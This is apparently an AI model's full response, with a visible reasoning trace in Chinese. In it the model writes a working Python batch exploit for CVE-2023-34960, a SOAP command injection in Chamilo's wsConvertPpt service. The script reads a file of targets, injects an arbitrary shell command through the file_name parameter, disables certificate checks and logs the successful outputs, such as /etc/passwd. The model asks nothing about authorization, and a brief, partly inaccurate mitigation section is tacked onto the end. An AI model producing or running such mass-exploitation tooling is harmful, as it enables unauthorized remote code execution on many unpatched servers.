<think>嗯,用户让我根据提供的CVE-2023-34960的信息,实现一个Python的EXP,并且需要支持批量执行命令,读取当前目录下的文件,然后用类似python CVE-2023-34960.py -f 8.txt -c "命令" -o 9.txt这样的参数来运行,输出结果到指定文件。首先,我需要仔细分析用户的需求以及提供的POC信息。
首先,用户提供的POC中的HTTP请求是一个SOAP API调用,利用的是Chamilo的wsConvertPpt组件的命令注入漏洞。通过构造恶意的file_name参数,注入系统命令。例如,示例中的file_name参数使用了反引号、管道符和注释符号来执行cat /etc/passwd。这说明漏洞点在于file_name参数未经过滤,直接将用户输入传递给系统命令执行。
接下来,用户希望编写一个Python脚本,能够批量处理目标主机,从文件中读取目标列表(比如8.txt),对每个目标执行指定的命令,并将成功的结果输出到另一个文件(比如9.txt)。所以,脚本需要具备以下功能:
1. 解析命令行参数,包括输入文件(-f)、命令(-c)、输出文件(-o)。
2. 读取输入文件中的目标主机列表。
3. 对每个目标发送构造好的SOAP请求,其中包含注入的命令。
4. 检查响应,判断命令是否执行成功,并将结果保存到输出文件。
我需要考虑如何构造SOAP请求。根据提供的raw请求,file_name参数的值被注入了命令。例如,在示例中,file_name的值是`{}`.pptx'|" |cat /etc/passwd||a #,这里可能使用了命令替换或者管道符来执行命令。用户需要将这里的命令替换为-c参数指定的命令,因此需要将用户提供的命令嵌入到这个位置。
需要注意的是,不同的系统shell对特殊字符的处理可能不同,所以在构造payload时需要对特殊字符进行适当的转义或编码。例如,空格、引号、管道符等可能需要处理,否则可能导致SOAP请求结构错误或者命令执行失败。
然后,关于参数解析,可以使用Python的argparse库来处理命令行参数,定义-f、-c、-o三个必要参数。输入文件每行一个目标(可能是URL或IP),然后逐个发送请求。
发送HTTP请求时,需要使用POST方法,设置正确的Content-Type为text/xml,并且替换Hostname为目标主机。在提供的POC中,Host头是{{Hostname}},这可能意味着在脚本中需要将目标的主机名或IP替换进去。例如,如果目标URL是http://example.com/chamilo,那么Host头应该是example.com,而请求的路径是/main/webservices/additional_webservices.php。
此外,需要注意SSL验证的问题,可能有些目标使用HTTPS,需要忽略证书验证,可以在requests.post中设置verify=False。
响应处理部分,根据提供的matchers,成功响应状态码是200,并且响应体中包含root:.*:0:0:这样的正则表达式(即/etc/passwd的内容),或者用户执行的命令的结果。因此,在脚本中,需要检查响应状态码是否为200,并且响应体是否包含预期的命令输出。例如,如果用户执行的是id命令,那么响应中应该包含命令执行的结果。
关于结果输出,需要将成功的目标及其响应结果写入到-o指定的文件中。可能需要对响应内容进行解析,提取出命令执行的结果。例如,如果命令执行的结果被包含在SOAP响应的某个字段中,可能需要正则表达式提取。但在提供的POC中,matcher是检查响应体是否有root:.*:0:0:,说明结果直接返回在响应体中,因此可以直接将响应文本保存。
接下来,考虑如何将用户提供的命令嵌入到file_name参数中。原POC中的payload是`{}`.pptx'|" |cat /etc/passwd||a #。这里可能需要分析命令注入的方式。例如,原payload中使用了反引号、单引号、双引号和管道符,可能是在尝试多种注入方式绕过可能的过滤。但用户需要动态替换命令部分,因此需要构造一个payload模板,将用户命令嵌入其中。
可能的payload构造方式如下:将file_name参数的值设置为`command`的形式,或者使用管道符将命令执行。例如,原POC中使用的是|cat /etc/passwd||a #,这里利用了管道符,将前面的空输出传递给cat命令,然后注释掉后面的内容。因此,构造payload时,可以将用户提供的命令放在此处,例如| user-command ||a #,这样无论前面是否执行成功,都会执行user-command,并通过||a来避免语法错误,最后的#注释掉后续可能存在的其他字符。
因此,payload的构造可能类似于:
file_name的值设置为`{}`.pptx'|" |用户命令 ||a #
需要测试不同的符号组合,确保命令能够正确注入。另外,需要注意命令中的特殊字符需要进行适当的URL编码或XML转义,比如<、>、&等,在XML中需要使用实体编码,否则可能导致SOAP解析错误。
例如,如果用户命令是whoami,则payload可能是:
<value xsi:type="xsd:string">`{}`.pptx'|" |whoami||a #</value>
如果命令包含空格或特殊字符,如;、&、|等,可能需要进一步处理。例如,如果用户要执行curl example.com,则需要确保管道符和空格正确传递。这时候可能需要将整个命令用引号包裹,或者在payload中进行适当的转义。
不过,在XML中,某些字符如&需要转义为&,否则会导致XML解析错误。例如,如果命令是curl example.com?param=1¶m2=2,其中的&需要转换为&。因此,在构造payload时,需要对用户输入的命令进行XML实体转义处理。这可能会影响命令的执行,因为shell接收到的是转义后的字符。因此,可能需要双重处理:首先转义XML中的特殊字符,然后确保命令在shell中正确解析。
这个问题比较复杂,可能需要多次测试。例如,用户输入的命令中的空格是否需要编码,或者是否可以直接使用。例如,在payload中,空格保持原样,而&转义为&,这样在XML中不会报错,当服务器处理时,可能将&转换回&,然后再由shell解析。因此,正确的处理方式是对用户输入的命令进行XML实体转义,替换&为&,<为<,>为>,等等。
因此,在Python脚本中,需要将用户提供的命令进行XML转义,可以使用html模块的escape函数,但需要注意只转义必要的字符。或者,使用自定义的替换,例如将&替换为&,其他字符保持不变。
此外,原POC中的payload使用了反引号和单双引号,可能是为了闭合原本的字符串,从而允许注入命令。例如,原payload中的file_name结构可能是这样的:
`{}`.pptx'|" |command||a #
这里可能原意是利用反引号执行命令,或者通过单引号、双引号的闭合,使得后续的命令被shell执行。具体需要分析Chamilo处理file_name参数的代码,但由于我们只是根据POC构造EXP,可以沿用类似的格式。
因此,payload的构造可以固定为某种格式,例如:
`{}`.pptx'|" |{command}||a #
将{command}替换为用户输入的命令,并确保正确转义XML中的特殊字符。
接下来,处理目标列表。输入文件中的每一行可能是一个目标URL,例如http://target.com或者https://192.168.1.1:8080。需要从这些URL中提取主机名和路径,构建请求的URL。例如,如果目标URL是http://example.com/chamilo,则请求的URL应该是http://example.com/chamilo/main/webservices/additional_webservices.php。或者,如果目标直接是IP,可能需要构造完整的路径。
或者,可能用户提供的输入文件中的每一行是主机名(如example.com)或IP地址,而脚本自动构建完整的URL。但根据提供的POC中的HTTP请求,路径是/main/webservices/additional_webservices.php,而Host头是{{Hostname}}。因此,在脚本中,可能需要将用户输入的目标作为Host头,并发送请求到http://目标/main/webservices/additional_webservices.php,或者可能需要更灵活的处理方式,例如允许用户输入完整的URL,或者处理不同的路径情况。
这个问题需要明确如何处理目标输入。例如,如果用户提供的输入文件中的每一行是主机名(如example.com),则脚本构造的URL是http://example.com/main/webservices/additional_webservices.php。如果目标使用HTTPS,则需要使用https。或者,用户可能需要在目标中指定完整的URL,例如http://example.com:8080/path/to/chamilo/,然后脚本拼接路径。
这里可能需要让用户输入完整的base URL,或者自动尝试HTTP和HTTPS,并处理不同的端口。但为了简化,可以假设用户输入的目标是完整的URL,包括协议、主机、端口和基础路径,例如http://victim.com/chamilo。然后脚本将附加/main/webservices/additional_webservices.php到该路径后面。或者,可能Chamilo安装在不同路径下,因此需要用户指定正确的基础URL。
例如,如果用户的目标是http://example.com,那么完整的请求URL是http://example.com/main/webservices/additional_webservices.php。但如果Chamilo安装在子目录下,如http://example.com/chamilo,则URL应为http://example.com/chamilo/main/webservices/additional_webservices.php。
因此,在脚本中,用户可能需要输入基础URL,例如http://example.com/chamilo,然后脚本拼接路径。或者,用户输入的目标直接是完整的请求URL。这可能影响脚本的易用性。根据提供的POC中的raw请求,Host头是{{Hostname}},而请求的路径是/main/webservices/additional_webservices.php。因此,可能Hostname是指目标的主机名(如example.com),而路径是固定的/main/webservices/additional_webservices.php。因此,在脚本中,用户输入的目标应该是主机名(如example.com),然后脚本构造URL为http://example.com/main/webservices/additional_webservices.php。同时,设置Host头为example.com。
但这样可能无法处理非标准端口或HTTPS的情况。因此,更好的方法是允许用户输入完整的URL(包括协议、端口、路径),然后从该URL中提取主机名和路径。例如,用户输入http://example.com:8080/chamilo,则请求的URL是http://example.com:8080/chamilo/main/webservices/additional_webservices.php,Host头是example.com:8080。
这需要解析用户输入的目标URL,使用Python的urllib.parse模块来分解和重组URL。例如:
from urllib.parse import urlparse, urlunparse
target = "http://example.com:8080/chamilo"
parsed = urlparse(target)
# 解析后的路径是/chamilo
new_path = parsed.path + '/main/webservices/additional_webservices.php'
url = urlunparse((parsed.scheme, parsed.netloc, new_path, '', '', ''))
这样,无论用户输入的目标URL是什么,都可以正确构造请求的URL。同时,Host头应设置为parsed.netloc(即主机名和端口)。
这似乎是一个合理的方法,因此需要在脚本中处理目标URL的解析,确保正确构造请求URL和Host头。
接下来,处理HTTP请求的发送。使用requests库发送POST请求,设置正确的Content-Type为text/xml,并且替换SOAP请求中的RootURL和Hostname。在提供的POC中,xmlns:ns1="{{RootURL}}",这可能是指Chamilo的基础URL。例如,如果Chamilo安装在http://example.com/chamilo,则RootURL应该是http://example.com/chamilo。或者可能是命名空间的问题,需要进一步分析。
在提供的POC的SOAP Envelope中,xmlns:ns1="{{RootURL}}",然后调用了ns1:wsConvertPpt。这意味着命名空间ns1应该指向Chamilo的Web服务的命名空间,可能对应的是Chamilo的base URL。例如,如果Chamilo安装在http://example.com/chamilo,则ns1应该是http://example.com/chamilo。因此,在构造SOAP请求时,需要将{{RootURL}}替换为Chamilo的基础URL。
这可能与请求的目标URL相关,但需要进一步确认。例如,如果请求发送到http://example.com/chamilo/main/webservices/additional_webservices.php,那么RootURL可能应该是http://example.com/chamilo。因此,在构造SOAP XML时,xmlns:ns1的值应为Chamilo的基础URL,即用户输入的目标URL(例如http://example.com/chamilo)。
因此,在脚本中,需要将用户输入的target URL作为RootURL,用于替换xmlns:ns1的值。例如,如果用户输入的target是http://example.com/chamilo,那么ns1的值是该URL,同时请求发送到该URL下的main/webservices/additional_webservices.php。
这可能比较复杂,因为用户输入的目标URL可能包含路径,而SOAP的命名空间需要正确指向该基础URL。因此,在构造SOAP请求时,需要动态替换{{RootURL}}和{{Hostname}}两个变量。
在原始POC的HTTP请求中:
POST /main/webservices/additional_webservices.php HTTP/1.1
Host: {{Hostname}}
...
xmlns:ns1="{{RootURL}}"
因此,Host头应设置为目标的主机名(含端口,如果有),而RootURL应设置为目标的base URL(协议、主机、端口、路径,但不包括附加的路径)。例如,如果目标URL是http://example.com/chamilo,那么Host头是example.com,而RootURL是http://example.com/chamilo。这可能存在矛盾,需要进一步确认正确的替换方式。
或者,Host头应该与目标URL的主机部分一致,而RootURL是目标的base URL(包括协议、主机、端口、基础路径)。
例如,假设用户输入的目标是http://example.com/chamilo,那么:
- 请求的URL是http://example.com/chamilo/main/webservices/additional_webservices.php
- Host头是example.com
- RootURL是http://example.com/chamilo
这可能需要将用户输入的目标分解为Host头和RootURL。例如,解析用户输入的目标URL,得到主机名(hostname)和基础路径(base path)。例如,对于目标http://example.com/chamilo:
- parsed = urlparse('http://example.com/chamilo')
- hostname = parsed.hostname # example.com
- port = parsed.port # 80
- base_path = parsed.path # /chamilo
因此,在构造SOAP请求时:
- Host头设置为example.com(如果端口不是默认的,则Host头包含端口,如example.com:8080)
- RootURL设置为http://example.com/chamilo(包括协议和路径)
- 请求的URL是http://example.com/chamilo/main/webservices/additional_webservices.php
因此,在脚本中,需要正确解析用户输入的target URL,提取各个部分用于构造请求。
这可能比较复杂,但为了确保SOAP请求的正确性,必须正确设置这些参数。否则,服务器可能无法正确处理请求,导致漏洞利用失败。
接下来,编写Python脚本的大体步骤:
1. 导入必要的库:argparse, requests, urllib.parse, html等。
2. 解析命令行参数:-f(输入文件)、-c(命令)、-o(输出文件)。
3. 读取输入文件中的目标列表。
4. 对每个目标:
a. 解析目标URL,构造请求URL和Host头。
b. 构造SOAP请求体,替换RootURL和Hostname,并注入命令。
c. 发送POST请求,忽略SSL验证。
d. 检查响应状态码是否为200,并且响应体中包含命令执行的结果。
e. 如果成功,将目标和结果保存到输出文件。
5. 处理过程中的错误和异常,例如网络超时、无效URL等。
现在,详细考虑每一步的实现。
参数解析:
使用argparse,定义三个必要参数:-f/--file,-c/--command,-o/--output。例如:
parser = argparse.ArgumentParser(description='Exploit CVE-2023-34960')
parser.add_argument('-f', '--file', required=True, help='Input file with target URLs')
parser.add_argument('-c', '--command', required=True, help='Command to execute')
parser.add_argument('-o', '--output', required=True, help='Output file to save results')
args = parser.parse_args()
读取目标文件:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f.readlines()]
处理每个目标:
对于每个target_url in targets:
解析URL:
parsed = urlparse(target_url)
if not parsed.scheme:
# 如果用户没有提供协议,默认使用http
target_url = 'http://' + target_url
parsed = urlparse(target_url)
scheme = parsed.scheme
netloc = parsed.netloc # 包含主机和端口
path = parsed.path.rstrip('/') # 基础路径,如/chamilo
# 构造请求的URL
request_url = f"{scheme}://{netloc}{path}/main/webservices/additional_webservices.php"
# Host头
host_header = parsed.netloc
# RootURL用于SOAP的xmlns:ns1
root_url = f"{scheme}://{netloc}{path}".rstrip('/')
构造SOAP请求体:
需要将原POC中的{{RootURL}}替换为root_url,{{Hostname}}替换为host_header。同时,将file_name参数中的命令替换为用户输入的命令,并进行XML转义。
原POC中的SOAP请求体:
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:wsConvertPpt>
<param0 xsi:type="ns2:Map">
<item>
<key xsi:type="xsd:string">file_data</key>
<value xsi:type="xsd:string"></value>
</item>
<item>
<key xsi:type="xsd:string">file_name</key>
<value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value>
</item>
<item>
<key xsi:type="xsd:string">service_ppt2lp_size</key>
<value xsi:type="xsd:string">720x540</value>
</item>
</param0>
</ns1:wsConvertPpt>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
需要将xmlns:ns1="{{RootURL}}"替换为实际的root_url,并且将file_name中的命令替换为args.command,同时进行XML转义。
构造payload:
command = args.command
# 对命令进行XML转义,替换&, <, >等
command_escaped = command.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"').replace("'", ''')
# 构造file_name的值
file_name_payload = f'`{{}}`.pptx\'|" |{command_escaped}||a #'
然后替换到SOAP模板中:
soap_template = f'''<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{root_url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:wsConvertPpt>
<param0 xsi:type="ns2:Map">
<item>
<key xsi:type="xsd:string">file_data</key>
<value xsi:type="xsd:string"></value>
</item>
<item>
<key xsi:type="xsd:string">file_name</key>
<value xsi:type="xsd:string">{file_name_payload}</value>
</item>
<item>
<key xsi:type="xsd:string">service_ppt2lp_size</key>
<value xsi:type="xsd:string">720x540</value>
</item>
</param0>
</ns1:wsConvertPpt>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''
发送请求:
headers = {
'Host': host_header,
'Content-Type': 'text/xml; charset=utf-8'
}
try:
response = requests.post(request_url, headers=headers, data=soap_template, verify=False, timeout=10)
except requests.exceptions.RequestException as e:
# 处理网络错误
continue
检查响应:
if response.status_code == 200:
# 检查响应体中是否包含命令输出
# 这里可能需要根据具体命令调整,但原POC检查的是/etc/passwd的内容
# 用户执行的命令的输出可能直接显示在响应体中,或者需要进一步解析
# 例如,执行id命令,响应体中可能有uid=...
# 因此,可以简单将整个响应内容保存,或者搜索特定模式
# 但根据用户需求,需要将成功的结果输出,无论是否包含特定内容,只要状态码是200?
# 原POC的matchers是状态码200,并且响应体包含root:.*:0:0:
# 但在EXP中,用户可能执行不同的命令,因此无法预先知道匹配的模式
# 所以,可能只要状态码是200,就认为执行成功,并将响应内容保存
# 但这样可能有误判,比如服务器返回200但命令未执行
# 因此,可能需要根据实际情况调整,但根据漏洞描述,命令注入是直接的,所以200可能意味着请求成功处理,命令可能执行
# 因此,在脚本中,只要状态码是200,就将结果保存
with open(args.output, 'a') as out_file:
out_file.write(f"Target: {target_url}\n")
out_file.write(f"Command: {command}\n")
out_file.write(f"Response:\n{response.text}\n")
out_file.write("\n" + "="*50 + "\n")
然而,这可能存在误报,因为服务器可能返回200但命令未执行。例如,如果注入的命令存在语法错误,或者权限不足,但SOAP处理本身没有错误,服务器可能返回200。因此,更准确的方式是检查响应体中是否包含命令执行的输出。例如,如果执行的是cat /etc/passwd,则检查是否存在root:x:0:0。但用户可能执行任意命令,因此无法提前知道匹配的模式。因此,在EXP中,可以保存所有200响应的结果,让用户自行分析。
不过,根据原POC中的matchers,使用了正则表达式来匹配/etc/passwd中的内容。但用户的EXP需要执行任意命令,因此无法预先定义匹配模式。因此,在EXP中,可以假设只要状态码是200,就认为命令可能执行成功,并将响应保存。用户需要自行检查输出文件中的响应内容,以确认命令是否真正执行。
因此,在脚本中,将成功的条件定义为状态码200,并且响应头包含text/xml(根据原POC的matchers中的一个word匹配header中的text/xml)。因此,在检查响应时,除了状态码,还要检查Content-Type头是否包含text/xml。
所以,在脚本中:
if response.status_code == 200 and 'text/xml' in response.headers.get('Content-Type', ''):
# 认为成功,保存结果
...
这样可以减少误报。
现在,将这些步骤整合到Python脚本中。
另外,考虑性能问题,例如超时设置、多线程处理,但根据用户需求,可能不需要复杂处理,简单的顺序执行即可。
测试:
在编写完脚本后,需要测试是否能正确构造SOAP请求,命令是否被执行。例如,可以设置一个测试环境,执行id命令,查看响应中是否包含uid等信息。
可能遇到的问题:
1. XML实体转义不正确,导致命令未正确注入。
2. 目标URL构造错误,导致请求发送到错误的路径。
3. Host头设置不正确,导致服务器无法识别。
4. 命令中包含特殊字符,导致注入失败。
例如,如果用户命令是id,那么payload中的file_name应为:
`{}`.pptx'|" |id||a #
经过XML转义后,应该是:
`{}`.pptx'|" |id||a #
但如果命令中包含&符号,如curl http://example.com?p=1&q=2,需要将&转义为&,否则XML解析会出错。所以在脚本中,必须对用户输入的命令进行XML转义处理。
例如,用户命令是:id; echo 123
转义后是:id; echo 123(无需转义,除非有特殊字符)
而如果命令是:echo '<test>'
则需要转义为:echo '<test>'
但这样在shell中执行时,会变成echo '<test>',可能不是预期的结果。因此,可能需要双重转义,或者在构造payload时确保XML和shell都能正确解析。这部分可能需要更多的测试和调整。
此外,某些符号如$、反引号、管道符等在shell中的行为也需要考虑。例如,原POC中使用反引号可能试图执行命令,但实际payload中的反引号可能被Chamilo处理的方式不同。这可能需要根据实际漏洞的环境来调整payload的构造方式,但基于提供的POC,我们可以沿用其结构。
综上所述,编写Python EXP的步骤如下:
1. 解析命令行参数。
2. 读取目标列表。
3. 对每个目标,构造请求URL、Host头、RootURL。
4. 转义用户命令中的XML特殊字符。
5. 构造SOAP请求体。
6. 发送POST请求。
7. 检查响应状态码和Content-Type。
8. 保存结果到文件。
现在,将这些步骤写成代码,并确保符合用户的要求,例如参数格式、批量执行、结果输出等。</think>根据CVE-2023-34960漏洞特征,我们编写以下Python EXP实现批量命令注入,支持文件读取和结果输出。以下是完整代码及说明:
```python
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from xml.sax.saxutils import escape
def escape_xml(command):
"""XML特殊字符转义"""
return escape(command, entities={
"'": "'",
"\"": """,
"&": "&",
"<": "<",
">": ">"
})
def construct_soap_request(root_url, command):
"""构造SOAP注入请求"""
cmd_escaped = escape_xml(command)
payload = f'`{{}}`.pptx\'|" |{cmd_escaped}||a #'
return f'''<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="{root_url}"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ns2="http://xml.apache.org/xml-soap"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:wsConvertPpt>
<param0 xsi:type="ns2:Map">
<item>
<key xsi:type="xsd:string">file_data</key>
<value xsi:type="xsd:string"></value>
</item>
<item>
<key xsi:type="xsd:string">file_name</key>
<value xsi:type="xsd:string">{payload}</value>
</item>
<item>
<key xsi:type="xsd:string">service_ppt2lp_size</key>
<value xsi:type="xsd:string">720x540</value>
</item>
</param0>
</ns1:wsConvertPpt>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''
def exploit_target(target, command, output_file):
try:
parsed = urlparse(target)
if not parsed.scheme:
parsed = urlparse(f"http://{target}")
scheme = parsed.scheme
netloc = parsed.netloc
base_path = parsed.path.rstrip('/')
root_url = f"{scheme}://{netloc}{base_path}"
request_url = f"{scheme}://{netloc}{base_path}/main/webservices/additional_webservices.php"
headers = {
'Host': parsed.netloc,
'Content-Type': 'text/xml; charset=utf-8'
}
soap_body = construct_soap_request(root_url, command)
response = requests.post(
request_url,
headers=headers,
data=soap_body,
verify=False,
timeout=10
)
if response.status_code == 200 and 'text/xml' in response.headers.get('Content-Type', ''):
with open(output_file, 'a') as f:
f.write(f"[+] Target: {target}\n")
f.write(f"Command: {command}\n")
f.write(f"Response:\n{response.text}\n")
f.write("-"*50 + "\n\n")
return True
return False
except Exception as e:
print(f"[-] Error exploiting {target}: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2023-34960 Chamilo RCE Exploit")
parser.add_argument('-f', '--file', required=True, help="目标文件路径")
parser.add_argument('-c', '--command', required=True, help="待执行的系统命令")
parser.add_argument('-o', '--output', required=True, help="结果输出文件")
args = parser.parse_args()
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
print(f"[*] 开始对 {len(targets)} 个目标执行漏洞利用...")
for target in targets:
print(f"[*] 正在扫描目标: {target}")
success = exploit_target(target, args.command, args.output)
if success:
print(f"[+] {target} 漏洞利用成功!结果保存至 {args.output}")
else:
print(f"[-] {target} 漏洞利用失败")
```
### 使用说明
1. **参数说明**:
- `-f/--file`:包含目标URL列表的文本文件(每行一个目标)
- `-c/--command`:要执行的系统命令(如`cat /etc/passwd`)
- `-o/--output`:保存成功结果的输出文件
2. **示例用法**:
```bash
python CVE-2023-34960.py -f targets.txt -c "id" -o results.txt
```
3. **技术要点**:
- 自动处理目标URL的协议和路径拼接
- 对命令进行XML实体转义(包括`& < > " '`)
- 验证HTTP 200状态码和`text/xml`响应头
- 跳过SSL证书验证以兼容HTTPS目标
### 防御建议
1. **官方修复**:
```bash
# 立即升级到Chamilo官方修复版本
wget https://github.com/chamilo/chamilo-lms/releases
```
2. **临时缓解**:
```apache
# 在Apache配置中添加过滤规则
<LocationMatch "/main/webservices/additional_webservices.php">
SecRule ARGS_GET "@contains ;" "deny,status:403"
SecRule ARGS_POST "@rx [|$`]" "deny,status:403"
</LocationMatch>
```
该EXP通过SOAP API注入系统命令,利用`wsConvertPpt`组件的文件名参数过滤不严缺陷。每个目标的检测结果会附加到输出文件中,包含原始响应数据以便后续分析。